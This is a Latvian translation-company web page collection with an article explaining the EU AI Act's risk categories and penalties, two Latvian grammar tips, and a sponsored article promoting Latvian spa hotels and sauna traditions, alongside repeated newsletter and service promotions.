LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Mākslīgā intelekta regulējums – kā uzņēmumiem sagatavoties? Mākslīgais intelekts (MI) vairs nav tikai zinātniskā fantastika. - Published: 2025-05-07 - Modified: 2025-06-18 - URL: https://skrivanek.lv/maksliga-intelekta-regulejums/ - Kategorijas: Raksti - Translation Priorities: Optional Tuvojas plaša mākslīgā intelekta regulējums – kā uzņēmumiem sagatavoties? Mākslīgais intelekts (MI) vairs nav tikai zinātniskā fantastika. Dažādā mērogā MI sistēmas un ģenerēšanas iespējas ir kļuvušas ne tikai par daudzu uzņēmumu balstu, bet arī par stūrakmeni. Klientu apkalpošanas uzlabošana, loģistikas optimizēšana, augsta līmeņa datu analītika – šo visu un daudz kā cita spēj nodrošināt mākslīgā intelekta tehnoloģijas, kas sniedz līdz šim nebijušas iespējas paaugstināt uzņēmumu izaugsmi un efektivitāti. Taču, kā jau tas dzīvē bieži mēdz būt, līdz ar plašākām iespējām rodas arī ievērojamāki riski, kas liek uzņemties vēl lielāku atbildību. Redzot, ka šādi riski ir jāfiksē un jārisina jau laikus, Eiropas Savienība (ES) pirmo reizi pasaules vēsturē ir izveidojusi “Mākslīgā intelekta regulu”, kas pamazām jau stājas spēkā. Atkarībā no riska pakāpes pilnā mērā regula tiks piemērota 2026. un 2027. gadā, taču jau šovasar būs jāatklāj, cik daudz tiek izmantots MI, lai pieņemtu lēmumus vai ģenerētu saturu. Regula būs spēkā visiem uzņēmumiem bez izvēles iespējām. MI izmantošanas riska pakāpes Mākslīgā intelekta regulas pamatā ir MI tehnoloģiju kategorizēšana četrās riska pakāpēs. Nepieņemama riska līmenis Mākslīgā intelekta sistēmas, kas atbilst nepieņemama riska līmenim rada nopietnus draudus personas drošībai, tiesībai vai cieņai. Šāda veida sistēmas slepus manipulē ar personu apziņu un atsevišķām, mazāk aizsargātām grupām, kā arī piemēro dažāda veida “sociālo reitingu” sistēmas, ietekmējot personu iespējas iekļauties sabiedrībā. MI akta ietvaros šāda veida sistēmas ir kategoriski aizliegtas, lai ES līmenī sargātu personu tiesības un vērtības. Augsta riska līmenis MI sistēmas, ka iekļaujas šajā kategorijā ievērojami ietekmē valstī svarīgas nozares, piemēram, veselības aprūpi, drošības dienestus, transportu, nodarbinātību, kā arī izglītību. Šāda veida tehnoloģiju izmantošana ir pieļaujama, taču tikai ievērojot stingrus nosacījumus. Augsta riska līmeņa mākslīgā intelekta sistēmām ir jābūt caurspīdīgām, ar konkrētiem riska vadības plāniem, obligātu pārraudzību no cilvēku puses, kā arī biežu datu kvalitātes novērtējumu, lai novērstu neprecizitātes, kā arī aizspriedumus lēmumu pieņemšanā. Šajā kategorijā var ietilpt, piemēram, rotaļlietas, automašīnas, lifti, medicīniskas ierīces. Pirms augsta riska līmeņa MI preču palaišanas ES tirgū, tās tiks novērtētas, kā arī ik pa laikam atkārtoti izvērtētas. Ierobežota riska līmenis Ierobežota riska līmenī pārsvarā ietilpst “čatboti” vai virtuālie asistenti, kas tiešā mērā mijiedarbojas ar uzņēmuma klientiem vai partneriem, taču praktiski nespēj ietekmēt personu brīvību vai pamattiesības. Uz šādām sistēmām tiek piemērota mazāka mēra uzraudzība, taču caurspīdīgums un atklātība tik un tā ir jāievēro. Lietotājiem ir vienmēr jāzina, kad tie sazinās ar mākslīgo intelektu. Minimāla riska līmenis Zemākajā jeb minimālā riska līmenī ir fiksēti mēstuļu (“Spam”) filtri, produktivitāti uzlabojoši rīki, kā arī ikdienišķa programmatūra. Šādas tehnoloģijas tiek pakļautas minimālai regulācijai, jo tās nespēj būtībā ietekmēt cilvēku tiesības vai drošību. Skaidri kategorizējot MI sistēmas, uzņēmumi var ātri un skaidri izprast savu atbildību, lai precīzi un efektīvi norādītu sev atbilstošo riska līmeni. Uzņēmumiem būs ne tikai jānorāda riska līmenis, bet arī jānodrošina atbilstošo prasību izpilde. Neprecīza riska kategorijas noteikšana vai pat regulas neievērošana var novest ne tikai pie ievērojamiem sodiem (konkrēti skaitļi ir minēti zemāk), bet arī pie reputācijas apdraudējuma. Galvenie nosacījumi, lai atbilstu regulai Uzņēmumiem, kas jebkādā veidā izmanto mākslīgo intelektu – it īpaši nozarēs, kas atbilst augsta līmeņa riskam, – ir jāizstrādā regulai atbilstošas ikdienas darba vadlīnijas. Rūpīga riska izvērtēšana. Uzņēmumiem ir jāveic rūpīgs izvērtējums, lai izzinātu iespējamos riskos, ko var radīt to izmantotās vai radītās mākslīgā intelekta sistēmas vai programmas. Cilvēka veikta pārraudzīšana. Kā obligāts nosacījums, lai nodrošinātu taisnīgu MI sistēmu pieņemtu lēmumu procesu, ir nepieciešama īpaši atrunāta sistēma, kas nodrošina cilvēka veiktu pārraudzību. Pārredzamība un dokumentēšana. Uzņēmumiem ir jārada un jāuztur detalizēta dokumentācija par to mākslīgā intelekta sistēmām sākot no plānošanas līdz pat darbības stadijām. Datu kvalitāte, izvairīšanās no aizspriedumiem. Ir jānodrošina, ka MI sistēmās iekļautie treniņdati ir augstas kvalitātes, kā arī tajos nav iekļauti kaitīgi aizspriedumi, lai izvairītos no diskriminācijas. Atklātība pret lietotājiem un klientiem Lielā mērā – neatkarīgi no riska pakāpes – mākslīgā intelekta regulu caurvij viens pamatprincips – caurspīdīgums jeb atklātība. Uzņēmumiem ir skaidrā veidā jāinformē klienti, kad tiek izmantots mākslīgais intelekts, lai būtu skaidrs, kā tiek izmantoti dati. It īpaši, kad lietotāju sniegtos datus apstrādā MI. Tāpat, ja lietotājiem tiek sniegts saturs, kas ir radīts ar mākslīgo intelektu – attēli, video vai teksts –, tad ir skaidri jānorāda, ka tas ir veidots vai uzlabots ar MI. Tas attiecas arī uz mākslīgā intelekta ģenerētiem rakstiem (piemēram, blogiem jeb emuāriem) vai neapstrādātiem mašīntulkojumiem. Tikpat svarīga ir arī atklātība sadarbības partneru līmenī. Lai nodrošinātu, ka paša uzņēmuma, kā arī partneru (un arī klientu) dati netiek izmantoti MI satura veidošanas datu trenēšanā, ieteicams izvēlēties slēgtā tipa MI sistēmas, kas ir pielāgotas konkrētam uzņēmumam. Bieži vien pat dažādu mākslīgā intelekta satura radīšanas programmu maksas versijās ievadītie dati var tikt izmantoti, lai uzlabotu un trenētu konkrēto sistēmu. Attiecīgi konfidenciāli dati var nonākt citu uzņēmumu rīcībā. VDAR un MI regula strādā roku rokā Uzņēmumi jau tagad ievēro līdzīga līmeņa regulu – Vispārīgo datu aizsardzības regulu (VDAR) –, kas nosaka, kādā veidā un cik ilgi drīkst izmantot dažāda veida klientu datus. MI regula papildina VDAR, nodrošinot datu aizsardzību attiecībā uz situācijām, kur ir iesaistīts mākslīgais intelekts. VDAR galvenie principi ir privātums, piekrišana un aizsardzība, savukārt MI akts sniedz papildu slāni, kur tiek nodrošināta ētiska un caurspīdīga mākslīgā intelekta izmantošana – it īpaši automatizētu lēmumu pieņemšanā. Fantastikas cienītāji modelē arī daudz futūristiskākus scenārijus par to, kā mākslīgais intelekts pārņems pasauli un vadīs cilvēkus, tomēr – lai mākslīgais intelekts spētu "paverdzināt" cilvēkus, šādu lēmumu pieņemšanai būtu vajadzīgas cilvēkam līdzīgas smadzeņu darbības spējas vai apziņa. Neskatoties uz milzīgo zinātnes progresu, apziņa un cilvēka smadzeņu darbības potenciāls joprojām nav izpētīta, tāpēc, kā gan ka datorprogramma to sapratīs labāk par mums? MI ir tikai rīks sarežģītu problēmu risināšanai, pamatojoties uz cilvēka noteiktajām metodēm, algoritmiem un citiem līdzīgiem aspektiem. Soda apmērs un piemērošana Atbilstība MI aktam nav brīvprātīga. Regulā ir fiksēti stingri sodi, lai nodrošinātu tās ievērošanu. Uzņēmumiem jau laikus ir jārēķinās ar pastiprinātu uzraudzību dažādu izvērtēšanu un izmeklēšanu veidolā. Ja netiek ievērots MI akts, var tikt piemēroti bargi sodi līdz pat 7 % no uzņēmuma apgrozījuma visā pasaulē vai 35 miljoniem eiro atkarībā no tā, kurš skaitlis ir lielāks. Savukārt, ja tiek pārkāpta ne tikai mākslīgā intelekta, bet arī datu aizsardzības regula, tad var tikt papildu piemērots arī sods līdz pat 4 % uzņēmuma apgrozījuma visā pasaulē vai 20 miljoniem eiro. Ņemot vērā iespējamos sodus, ir svarīgi skaidri noteikt atbildības līmeni. Kam būtu jāuzņemas atbildība, ja MI sistēma rada kaitējumu? Izstrādātajam, lietotājam vai uzņēmumam? Uz šo jautājumu atbilde ir jāmeklē jau tagad. Mākslīgā intelekta regula ir nozīmīgs solis pasaules līmenī, lai ne tikai izmantotu MI sniegtās iespējas, bet arī uzņemtos atbildību par to apzinātu vai neapzinātu lietojumu, kas var negatīvi ietekmēt klientus vai sadarbības partnerus. Uzņēmumi, kas jau laikus gatavosies MI akta pilna apmēra piemērošanai, ne tikai būs labāk sagatavoti jauniem izaicinājumiem, bet arī, iespējams, gūs lielāku atzinību klientu un partneru skatījumā. Kā Skrivanek Baltic var palīdzēt? Gatavojoties jaunajai Mākslīgā intelekta regulai, īpaši svarīga ir skaidra, precīza un atbilstoši lokalizēta iekšējā un ārējā dokumentācija – neatkarīgi no tā, vai runa ir par riska izvērtējumiem, procedūru aprakstiem, klientu informēšanas materiāliem vai sadarbības līgumiem. Skrivanek Baltic, viens no vadošajiem valodu pakalpojumu sniedzējiem Latvijā un Eiropā, piedāvā: dažādu jomu, piemēram, juridisko un tehnisko tekstu, profesionālu tulkošanu, kā arī tekstu korektūru, ņemot vērā gan VDAR, gan MI regulas prasības. konsultācijas dokumentu atbilstības nodrošināšanai; notariāli un biroja apliecinātus tulkojumus, kad tas nepieciešams atbildības sadalījumam vai saziņai ar partneriem ārvalstīs; mājaslapu un programmatūras lokalizāciju, pielāgojot saturu konkrētiem tirgiem un nodrošinot atbilstību vietējiem normatīvajiem aktiem; valodu mācības un konsultācijas, lai jūsu komanda būtu gatava efektīvai starptautiskai saziņai. --- > Es sēžu vai es sēdu – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-06 - Modified: 2025-04-16 - URL: https://skrivanek.lv/es-sedu-vai-es-sezu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ES SĒDU VAI ES SĒŽU 1 Kā pareizi locīt darbības vārdu “sēdēt”? Es sēdu vai es sēžu? Mēs sēdam vai mēs sēžam? Ikdienas valodā biežāk dzirdēsim formas ar līdzskaņu mijas piemērošanu – "sēžu", "sēžam", "sēžat" u. c. Tās šķiet dabiskākas, jo ir stilistiski neitrālas un vairāk nostiprinājušās sarunvalodā. Savukārt formas bez mijas – "sēdu", "sēdam" – arī nav kļūdainas, taču tās var skanēt gramatiski vai literāri pacilātāk. Tās biežāk sastopamas vecākos tekstos, kā arī dzejā vai stilizētā valodā, daži pat teiktu, ka šī forma izklausās kā vecvārdi. Tāpēc patiesībā abas formas ir pareizas, tikai locījumu ar līdzskaņu miju valodā lieto biežāk, tāpēc arī “sēžu” un “sēžam” var izklausīties pareizāk. Taču nebūs nepareizi, ja kādu reizi teiksim arī “sēdu” un “sēdam”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Salīdzinot ar ārvalstu kūrortiem, spa atpūta Latvijā ir pieejama par ievērojami pievilcīgākām cenām – no 30 līdz 190 eiro par nakti. - Published: 2025-05-06 - Modified: 2025-05-06 - URL: https://skrivanek.lv/kapec-latvijas-premium-spa-parspej-arzemju-kurortus/ - Kategorijas: Apmaksāts saturs - Translation Priorities: Optional Kāpēc Latvijas Premium SPA pieredze pārspēj ārzemju kūrortus? Vai zinājāt, ka spa Latvijā piedāvā vairāk nekā 300 dažādu procedūru vienā kompleksā? Baltic Beach Hotel & SPA, kas ir lielākais spa komplekss Baltijā, ir tikai viens no daudzajiem piemēriem, kas apliecina mūsu valsts spa piedāvājumu izcilību. Turklāt, salīdzinot ar ārvalstu kūrortiem, spa atpūta Latvijā ir pieejama par ievērojami pievilcīgākām cenām - no 30 līdz 190 eiro par nakti. Mūsu labākie spa Latvijā apvieno vēsturisko muižu šarmu ar mūsdienīgām labsajūtas procedūrām, proti, ekskluzīvas procedūras kā melnās pērles terapija Grand Poet viesnīcā vai privātās spa sesijas Doma Hotel telpās. Latvijas dabas resursi SPA procedūrās Latvijas dabas resursi ir zelta vērtē spa industrijas attīstībā. Mūsu zeme ir bagāta ar unikāliem dabas elementiem, kas gadsimtiem ilgi tikuši izmantoti veselības un skaistumkopšanas nolūkiem, bet tagad kļuvuši par pamatu modernajām spa procedūrām, kas piesaista apmeklētājus no visas pasaules. Dzintara terapijas unikālais spēks Dzintars - Baltijas jūras zelts - ir viens no Latvijas nozīmīgākajiem dabas resursiem spa procedūrās. Cilvēki jau izsenis ir novērtējuši dzintara dziedinošās, harmonizējošās un attīrošās īpašības. Dzintara sastāvā esošais aktīvais elements – dzintarskābe – stiprina imunitāti, paaugstina muskuļu tonusu un darbojas kā efektīvs antioksidants. Mūsdienās dzintaru izmanto daudzveidīgās spa procedūrās. Piemēram, Grand Hotel Kempinski Rīga piedāvā ekskluzīvu 90 minūšu Dzintara terapijas SPA procedūru par 165 eiro, kuras laikā tiek veikta visa ķermeņa apklāšana ar dzintara putekļiem, skrubēšana ar dzintara un jūras sāls maisījuma pulveri, kā arī kakla, muguras un pēdu relaksācijas masāža ar dzintara diskiem un rullīti. Tādējādi dzintars kā dabisks biostimulējošs līdzeklis atdzīvina ķermeni, padara ādu starojošu un uzlabo vispārējo pašsajūtu. Kūdras un māla dziednieciskās īpašības Latvijas spa centri plaši izmanto arī vietējos kūdras un māla resursus. Šie dabas brīnumi tiek lietoti, lai samazinātu vai novērstu tūsku, stiprinātu asinsvadu sieniņas, veiktu varikozu vēnu profilaksi, kā arī ādas barošanai, mitrināšanai un elasticitātes atjaunošanai. Īpaši atzīmējama ir Latvijas bagātība ar ārstnieciskajām dūņām un sēra, broma sāls un nātrija minerālūdeņiem. Tie tiek izmantoti gan ārstnieciskiem mērķiem, gan skaistumkopšanas procedūrās baseinos, dušās un vannās. Piemēram, Jūrmalā atrodas vērtīgi minerālūdeņi, kas veicinājuši bagātīgu ārstniecisko kūdras dūņu un sapropeļa dūņu veidošanos Jūrmalas ezeros. Silenes spa ir vēl viens lielisks piemērs, kur dziednieciskie zilie māli no Sila ezera tiek izmantoti spa procedūrās, sniedzot unikālu atjaunošanās pieredzi. Vietējie augi un zāļu tējas spa rituālos Viens no Latvijas spa nozares noslēpumiem ir bagātīgā vietējo augu un zāļu tēju izmantošana rituālos. Senajās latviešu tradīcijās pļavas augiem un ziediem piemīt maģiski dziedinošas spējas, gluži kā sena burvestība. Spa centri izmanto Latvijas pļavu ziedus, medus, ogas, piparmētras un citas dabas veltes. Elizabetes SPA piedāvā unikālu masāžas baudījumu "Latvijas pļavas dziedinošais spēks", kas apvieno augu labās īpašības ar dziļu relaksāciju – procedūrā tiek veikta muguras masāža ar Latvijas augiem pildītiem maisiņiem un relaksējoša ķermeņa masāža ar pļavas ziedu losjonu. Līdzīgi arī Villa Vlada piedāvā rituālus, kuros tiek izmantotas tikai videi draudzīgas slotas no Latvijas mežiem - bērzs, ozols, liepa, pīlādži, putnu ķirši, vērmeles, kadiķi un citi augi, kā arī tējas no vietējiem garšaugiem. Viss tas kopā veido īpaši Latvijai raksturīgu spa pieredzi, kas padara mūsu spa piedāvājumu neatkārtojamu. Pirts tradīcijas kā Premium SPA pieredzes pamats Pirts rituāls Latvijā nav tikai ķermeņa attīrīšana, bet dziļi sakņota kultūras tradīcija, kas mūsdienās kļuvusi par premium spa pieredzes pamatu daudzās labākajās spa viesnīcās latvijā. Šī senatnīgā prakse mūsdienās tiek godāta kā neatņemama latviskās dzīvesziņas daļa. Latviešu pirts rituālu autentiskums Latviešu pirts tradīcijas izceļas ar savu unikalitāti pat uz citu Eiropas valstu pirts kultūru fona. Kamēr somiem pirts galvenokārt saistās ar fizisko attīrīšanos, latvieši izsenis pirti izmantojuši arī kā garīgās attīrīšanās un līdzsvarošanas vietu. Dainas to sauc par Māras pirti vai Laimas pirti, jo abas dievības, saskaņā ar ticējumiem, bijušas klāt brīžos, kad pirtī rodas jauna dzīvība. Mūsu pirts rituālu autentiskumu apliecina plašā augu izmantošana, kas ir krietni bagātīgāka nekā citām Ziemeļeiropas tautām. Turklāt, latviešu pirtij raksturīgs daudz ūdens, daudzveidīgas zāļu slotiņas, dabīgi skrubji un fiziskie pieskārieni, kas citviet sastopami retāk. Pirtnieku prasmes un zināšanas Profesionāli pirtnieki ir neapšaubāmi premium spa pieredzes veidotāji. Latvijā pirtnieks ir oficiāli atzīta profesija, kas iekļauta profesiju klasifikatorā. Lai kļūtu par profesionālu pirtnieku, nepieciešams apgūt plašas zināšanas par pirts rituāliem, ārstniecības augiem, pirts slotām un to pareizu izmantošanu. Pirts skola piedāvā divu līmeņu profesionālo tālākizglītību: Pirtnieks (otrais profesionālais līmenis) – 12 mēnešu apmācības Pirts meistars (trešais profesionālais līmenis) – 18 mēnešu apmācības Pirtnieki iesaka iet pirtī vismaz reizi nedēļā, lai uzturētu optimālu veselību un labsajūtu. Ideālais pirts procedūras ilgums ir 5-6 stundas, kas ļauj pilnvērtīgi izbaudīt visus tās labumus. Mūsdienīgas interpretācijas tradicionālajās pirtīs Mūsdienu spa viesnīcas latvijā prasmīgi apvieno senās tradīcijas ar mūsdienīgu pieeju. Piemēram, Ziedlejās viesus gaida trīs unikālas pirtis – Stikla, Dūmu un Vilnas pirts. Katra no tām piedāvā atšķirīgu pieredzi, bet saglabā autentisko pirts rituālu būtību. Baltic Beach Hotel & SPA piedāvā "Pirts rituāls VIP" pieredzi, kas ietver krievu un kadiķu pirtis, baseinu ar jūras ūdeni, kontrastu dušas, ierīvēšanos ar citronu un medu, pēršanās rituālu un aromātiskās telpas apmeklējumu. Grand Hotel Kempinski Riga piedāvā "Latviešu Pirts Maģiju ar Pirts Meistaru", kur autentiskā pirts pieredze tiek bagātināta ar profesionāla meistara zināšanām, skrubi ar Latvijas dzintaru un tonizējošu masāžu ar pirtsslotām. Šī tradicionālā pieredze kļuvusi par vienu no iemesliem, kāpēc spa atpūta Latvijā bieži pārspēj ārzemju spa kūrortu piedāvājumus, vienlaikus saglabājot mūsu kultūras vērtības. Muižu un vēsturisko ēku SPA viesnīcas Muižu un piļu pārvēršana par spa viesnīcām ir viens no veiksmīgākajiem vēsturisko ēku atdzimšanas stāstiem Latvijā. Šīs elegantās celtnes, kas reiz bija aristokrātu mājvietas, tagad piedāvā ekskluzīvu labsajūtas pieredzi, kas nav atrodama citur pasaulē. Arhitektūras un vēstures sinerģija Latvijas vēsturiskās muižas ir kļuvušas par labsajūtas tempļiem, saglabājot savu oriģinālo arhitektūru. Pārsteidzošs piemērs ir Mālpils muiža – izcils 19. gadsimta klasicisma arhitektūras piemineklis ar plašu baroka stila parku. Viesnīcas numuriņi ierīkoti, saglabājot vēsturiskās detaļas – 17. gadsimta koka kāpnes, oriģinālās durvis, logus un sienu krāsojuma elementus. Nurmuižas pils, kas ir lielākais un senākais muižas komplekss Latvijā (celts 16. gadsimta beigās), tiek uzskatīta par vienu no efektīgākajiem neoklasicisma interjeru paraugiem starp Latvijas pilīm. Tās vēsturiski autentiskajās telpās tagad darbojas arī Smēdes SPA, piedāvājot pārplūdes masāžas baseinu un saunas. Vienlaikus Mārcienas muiža, kas 150 gadus atrodas Vidzemes centrā gleznainā vietā pie ezeriņa, apvieno vēsturi ar modernām labsajūtas metodēm, piedāvājot biomehāniskās procedūras, kas vēl saņemamas tikai Rietumeiropā. Ekskluzīva atmosfēra mazākās telpās Atšķirībā no lielajiem kūrortiem, vēsturiskajās ēkās ierīkotie spa centri piedāvā neparasti intīmu atmosfēru. Ungurmuiža, unikāls 18. gadsimta koka arhitektūras piemineklis Latvijā, nodrošina mājīgu vidi ar individuālu pieeju. Tāpat Jaunpils pilī nakšņošana numurā ar romantisku baldahīnu un kamīnu rada īstu viduslaiku sapņa atmosfēru. Sventes muižā atjaunotie apartamenti apbur ar senatnīgo šarmu, bet baseinu rotā krāšņas strūklakas. Turklāt mazākas telpas ļauj spa centra personālam veltīt vairāk uzmanības katram viesim. Personalizēta apkalpošana vēsturiskā vidē Vēsturiskās spa viesnīcas izceļas ar īpaši personalizētu servisu. Mazmežotnes muižā var baudīt individuāli piemērotas procedūras, pastaigāties pa dabas takām vai izbaudīt romantisku atpūtu spa kompleksā ar dažādām pirtīm. Dome Hotel Rīgā (atjaunotā 17. gadsimta ēkā) piedāvā ekskluzīvu pieeju ar profesionāļu izstrādātām procedūrām, ļaujot izbaudīt aristokrātisku atmosfēru pašā Vecrīgas sirdī. Krimuldas muiža izceļas ar to, ka SPA procedūras šeit veic profesionāls medicīnas personāls, apvienojot dziļu relaksāciju ar patiesām rūpēm par ķermeni. Latvijas SPA kā kultūras pieredze Spa apmeklējums Latvijā ir vairāk nekā vienkārša relaksācija – tas ir ceļojums caur vietējo kultūru, tradīcijām un garšām. Šī unikālā pieeja atšķir Latvijas spa pieredzi no citiem Eiropas kūrortiem, padarot to par neatņemamu kultūras tūrisma sastāvdaļu. Vietējo tradīciju integrācija spa procedūrās Liepupes muižas SPA cenšas radīt unikālu konceptu, apvienojot labāko no pasaules pieredzes ar Vidzemes lauku dabas bagātību un senču zināšanām. Procedūrās izmanto bioloģiski audzētus produktus no Latvijas laukiem, kurus prasmīgie meistari gatavo tieši pirms procedūras, īpaši katram klientam. Šī individuālā pieeja ar roku darbu ir Liepupes SPA zīmols, kas balstās senās latviešu tradīcijās. Tāpat Kurshi Hotel & SPA piedāvā sezonas rituālus, kas iedvesmoti no vietējām tradīcijām. Viņu "Lavandas Noslēpums" SPA rituāls apvieno turku pirts un saunas apmeklējumu ar ķermeņa pīlingu, izmantojot lavandas un apelsīnu ēteriskās eļļas, kā arī relaksējošu masāžu. Šādi rituāli ne tikai labvēlīgi ietekmē ādu, bet arī pozitīvi iedarbojas uz vispārējo ķermeņa stāvokli un psiholoģisko labsajūtu. Latviešu virtuves iekļaušana spa piedāvājumos Mūsdienīgie Latvijas spa centri arvien biežāk iekļauj vietējās virtuves elementus savā piedāvājumā, tādējādi radot pilnīgāku kultūras pieredzi. Baltic Beach Hotel & SPA savos rituālos piedāvā tējas ceremonijas, kas papildina procedūras ar īpašu garšas dimensiju. Arī Baltvilla viesnīcas SPA salonā rituālu noslēgumā viesi var baudīt itāļu tēju un Cantucci cepumus – saldais Finito noslēgumā. Ungurmuižas restorāns gatavo ēdienus no vietējiem sezonas produktiem, un to pavāri iedvesmojas no 18. gadsimta receptēm, veidojot saikni starp vēsturi un mūsdienu spa pieredzi. Savukārt Nurmuižas pils restorāns piedāvā ēdienus, kuru pamatā ir Kurzemes zemnieku un mājražotāju produkcija, kā arī sastāvdaļas, kas atrodamas muižas pils dārzos. Sezonalitātes ietekme uz spa rituāliem Latvijas gadalaiku maiņa atspoguļojas arī spa pakalpojumos, piedāvājot atšķirīgas procedūras atbilstoši konkrētai sezonai: Pavasara rituāli – ziedošu augu un smaržīgu ziedu ēteriskās eļļas masāžās, kā arī detoksikācijas procedūras, kas palīdz atbrīvoties no ziemā uzkrātajiem toksīniem Vasaras SPA – vietējā medus, ogu un ziedu izmantošana ādas atsvaidzināšanai un aizsardzībai Rudens rituāli – "Rudenīgā vīnoga" procedūra ar sildošu vīnogu aromātu, kas bagātīgi pabaro ādu un sagatavo to aukstākam laikam Ziemas SPA – īpaši sildošas procedūras, kas ietver ķermeņa ietīšanu siltumā un barojošas maskas, lai aizsargātu ādu aukstajā sezonā Šī sezonalitāte ļauj spa latvijā piedāvāt vienmēr atšķirīgu un svaigiem dabas produktiem bagātu pieredzi, veicinot ciešāku saikni ar dabas ritmu. Secinājumi Neapšaubāmi, Latvijas spa piedāvājums izceļas ar unikālu kombināciju - vēsturiskās muižas, dabas resursi un senās pirts tradīcijas rada neatkārtojamu labsajūtas pieredzi. Mūsu spa centri prasmīgi apvieno gadsimtiem senās zināšanas ar mūsdienīgām procedūrām, radot pakalpojumus, kas pārspēj ārzemju kūrortu piedāvājumus. Tādējādi spa latvijā nav tikai relaksācijas vieta - tas ir ceļojums caur mūsu kultūras mantojumu, kur katrs elements stāsta savu stāstu. Dzintara terapijas, kūdras procedūras un pirts rituāli veido dziļāku saikni ar Latvijas dabu un tradīcijām, sniedzot viesiem ne tikai fizisku, bet arī garīgu atjaunošanos. Visbeidzot, premium spa pieredze Latvijā pierāda, ka augstākās kvalitātes labsajūtas pakalpojumi var harmoniski sadzīvot ar vietējām tradīcijām un kultūrvēsturisko mantojumu, veidojot unikālu piedāvājumu, kas spēj konkurēt ar pasaules labākajiem kūrortiem. --- > Fotografēt vai fotogrāfēt – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-04-29 - Modified: 2025-04-16 - URL: https://skrivanek.lv/fotografet-vai-fotografet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FOTOGRAFĒT VAI FOTOGRĀFĒT 1 Elzai patīk fotogrāfēt dabu vai tomēr fotografēt dabu? Svešvārdu rakstība nereti sagādā raizes, turklāt runājot mēdzam lietot garos patskaņus tur, kur tie nav vajadzīgi. Papildus tam dažos gadījumos patskanis lietvārda izskaņā atšķiras no patskaņa darbības vārda izskaņā. Tā ir arī ar vārdu “fotografēt”: lietvārdus “fotogrāfs” un “fotogrāfija” rakstīsim ar garo patskani "ā", taču darbības vārdu “fotografēt” – ar īso patskani "a". Tātad Elza ir fotogrāfe, un visvairāk viņai patīk fotografēt dabu, pavasarī it sevišķi patīk fotografēt sniegpulkstenītes. Nesen Elza sarīkoja savu fotogrāfiju izstādi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi 